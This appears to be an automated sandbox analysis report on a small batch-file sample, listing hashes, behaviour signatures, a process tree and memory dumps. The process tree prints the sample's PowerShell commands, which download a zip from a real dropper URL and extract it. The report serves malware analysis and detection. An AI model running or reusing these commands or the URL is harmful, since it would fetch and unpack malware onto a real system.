1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1801s
max time network
1584s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy.bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2132	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2132	powershell.exe
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 2132	2284	cmd.exe	29
PID 2284 wrote to memory of 2132	2284	cmd.exe	29
PID 2284 wrote to memory of 2132	2284	cmd.exe	29
PID 2284 wrote to memory of 2596	2284	cmd.exe	30
PID 2284 wrote to memory of 2596	2284	cmd.exe	30
PID 2284 wrote to memory of 2596	2284	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
6e72656e3401fd9c954b11d84dcf7737

SHA1
b11eab0a9b305d9c9a0fbfc747c66f41e5a816ee

SHA256
0cd4b9871e08cc77242498fa17154e4886805922729794e0756b498544a81955

SHA512
d89b9fb79e1ba2f827ff5d732d311b128315cf3eea27dbd841a185ae00ad76ffe6f4a2e4ff77f7f02d90f0931e644d5fdabe469d377c18227f7786d1a000bd7d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FG4VRGBQGXXM4ULH002K.temp

Filesize
7KB

MD5
6e72656e3401fd9c954b11d84dcf7737

SHA1
b11eab0a9b305d9c9a0fbfc747c66f41e5a816ee

SHA256
0cd4b9871e08cc77242498fa17154e4886805922729794e0756b498544a81955

SHA512
d89b9fb79e1ba2f827ff5d732d311b128315cf3eea27dbd841a185ae00ad76ffe6f4a2e4ff77f7f02d90f0931e644d5fdabe469d377c18227f7786d1a000bd7d

Download Submit
memory/2132-10-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2132-7-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2132-8-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2132-4-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2132-9-0x00000000028B0000-0x0000000002930000-memory.dmp

Filesize
512KB

Download
memory/2132-11-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-13-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-6-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-5-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2596-19-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2596-20-0x000007FEF4F70000-0x000007FEF590D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-22-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2596-21-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download
memory/2596-23-0x000007FEF4F70000-0x000007FEF590D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-24-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2596-25-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2596-26-0x0000000002890000-0x0000000002910000-memory.dmp

Filesize
512KB

Download
memory/2596-27-0x000007FEF4F70000-0x000007FEF590D000-memory.dmp

Filesize
9.6MB

Download